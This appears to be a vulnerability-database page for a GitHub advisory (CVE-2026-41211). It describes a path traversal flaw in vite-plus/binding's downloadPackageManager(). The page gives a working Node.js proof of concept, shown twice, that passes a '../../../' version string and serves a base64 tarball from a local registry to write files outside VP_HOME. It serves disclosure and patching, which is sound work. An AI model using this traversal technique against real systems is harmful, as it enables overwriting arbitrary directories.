GHSA-33R3-4WHC-44C2

Vulnerability from github – Published: 2026-04-16 01:02 – Updated: 2026-05-06 13:57
VLAI
Summary
Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME
Details

Summary

downloadPackageManager() in vite-plus/binding accepts an untrusted version string and uses it directly in filesystem paths. A caller can supply ../ segments to escape the VP_HOME/package_manager/<pm>/ cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.

Details

The public vite-plus/binding export downloadPackageManager() forwards options.version directly into the Rust package-manager download flow without validating that it is a normal semver version.

That value is used as a path component when building the install location under VP_HOME. After the package is downloaded and extracted, Vite+:

  1. computes the final target directory from the raw version string,
  2. removes any pre-existing directory at that target,
  3. renames the extracted package into that location, and
  4. writes executable shim files there.

Because the CLI validates versions via semver::Version::parse() before calling this code, the protection that exists for normal vp create, vp migrate, and vp env flows does not apply to direct callers of the binding. A programmatic caller of vite-plus/binding can pass traversal strings such as ../../../escaped and break out of VP_HOME.

PoC

import fs from "node:fs";
import http from "node:http";
import os from "node:os";
import path from "node:path";
import { downloadPackageManager } from "vite-plus/binding";

const tgz = Buffer.from(
  "H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=",
  "base64",
);

const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-"));
const version = "../../../vite-plus-escape";
const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version);
const escapedInstallDir = path.join(escapedRoot, "pnpm");

process.env.VP_HOME = vpHome;

const server = http.createServer((req, res) => {
  res.writeHead(200, { "content-type": "application/octet-stream" });
  res.end(tgz);
});

await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const { port } = server.address();
process.env.npm_config_registry = `http://127.0.0.1:${port}`;

const result = await downloadPackageManager({
  name: "pnpm",
  version,
});

server.close();

console.log("VP_HOME =", vpHome);
console.log("installDir =", result.installDir);
console.log("escaped =", escapedInstallDir);
console.log("shim exists =", fs.existsSync(path.join(escapedInstallDir, "bin", "pnpm")));

// installDir is outside VP_HOME, and <escaped>/pnpm/bin/pnpm is created

Impact

A caller that can influence downloadPackageManager() input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside VP_HOME. When combined with the supported custom-registry override (npm_config_registry), this becomes attacker-controlled file write outside the intended install root.

Mitigating factors

  • Normal CLI usage is not affected. All built-in CLI paths (vp create, vp migrate, vp env) validate the version string via semver::Version::parse() before it reaches downloadPackageManager().
  • The vulnerability is only reachable by programmatic callers that import vite-plus/binding directly and pass an untrusted version string.
  • No known downstream consumers pass untrusted input to this function.
  • Exploitation requires the attacker to already be executing code in the same Node.js process.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.16"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite-plus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T01:02:48Z",
    "nvd_published_at": "2026-04-23T02:16:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`downloadPackageManager()` in `vite-plus/binding` accepts an untrusted `version` string and uses it directly in filesystem paths. A caller can supply `../` segments to escape the `VP_HOME/package_manager/\u003cpm\u003e/` cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location.\n\n### Details\n\nThe public `vite-plus/binding` export `downloadPackageManager()` forwards `options.version` directly into the Rust package-manager download flow without validating that it is a normal semver version.\n\nThat value is used as a path component when building the install location under `VP_HOME`. After the package is downloaded and extracted, Vite+:\n\n1. computes the final target directory from the raw `version` string,\n2. removes any pre-existing directory at that target,\n3. renames the extracted package into that location, and\n4. writes executable shim files there.\n\nBecause the CLI validates versions via `semver::Version::parse()` before calling this code, the protection that exists for normal `vp create`, `vp migrate`, and `vp env` flows does not apply to direct callers of the binding. A programmatic caller of `vite-plus/binding` can pass traversal strings such as `../../../escaped` and break out of `VP_HOME`.\n\n### PoC\n\n```js\nimport fs from \"node:fs\";\nimport http from \"node:http\";\nimport os from \"node:os\";\nimport path from \"node:path\";\nimport { downloadPackageManager } from \"vite-plus/binding\";\n\nconst tgz = Buffer.from(\n  \"H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=\",\n  \"base64\",\n);\n\nconst vpHome = fs.mkdtempSync(path.join(os.tmpdir(), \"vp-home-\"));\nconst version = \"../../../vite-plus-escape\";\nconst escapedRoot = path.resolve(vpHome, \"package_manager\", \"pnpm\", version);\nconst escapedInstallDir = path.join(escapedRoot, \"pnpm\");\n\nprocess.env.VP_HOME = vpHome;\n\nconst server = http.createServer((req, res) =\u003e {\n  res.writeHead(200, { \"content-type\": \"application/octet-stream\" });\n  res.end(tgz);\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\nconst { port } = server.address();\nprocess.env.npm_config_registry = `http://127.0.0.1:${port}`;\n\nconst result = await downloadPackageManager({\n  name: \"pnpm\",\n  version,\n});\n\nserver.close();\n\nconsole.log(\"VP_HOME =\", vpHome);\nconsole.log(\"installDir =\", result.installDir);\nconsole.log(\"escaped =\", escapedInstallDir);\nconsole.log(\"shim exists =\", fs.existsSync(path.join(escapedInstallDir, \"bin\", \"pnpm\")));\n\n// installDir is outside VP_HOME, and \u003cescaped\u003e/pnpm/bin/pnpm is created\n```\n\n### Impact\n\nA caller that can influence `downloadPackageManager()` input can escape the Vite+ cache directory and make the process overwrite attacker-chosen directories outside `VP_HOME`. When combined with the supported custom-registry override (`npm_config_registry`), this becomes attacker-controlled file write outside the intended install root.\n\n### Mitigating factors\n\n- **Normal CLI usage is not affected.** All built-in CLI paths (`vp create`, `vp migrate`, `vp env`) validate the version string via `semver::Version::parse()` before it reaches `downloadPackageManager()`.\n- The vulnerability is only reachable by programmatic callers that import `vite-plus/binding` directly and pass an untrusted version string.\n- No known downstream consumers pass untrusted input to this function.\n- Exploitation requires the attacker to already be executing code in the same Node.js process.",
  "id": "GHSA-33r3-4whc-44c2",
  "modified": "2026-05-06T13:57:45Z",
  "published": "2026-04-16T01:02:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/voidzero-dev/vite-plus/security/advisories/GHSA-33r3-4whc-44c2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41211"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/voidzero-dev/vite-plus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": " Path traversal in vite-plus/binding downloadPackageManager() writes outside VP_HOME"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…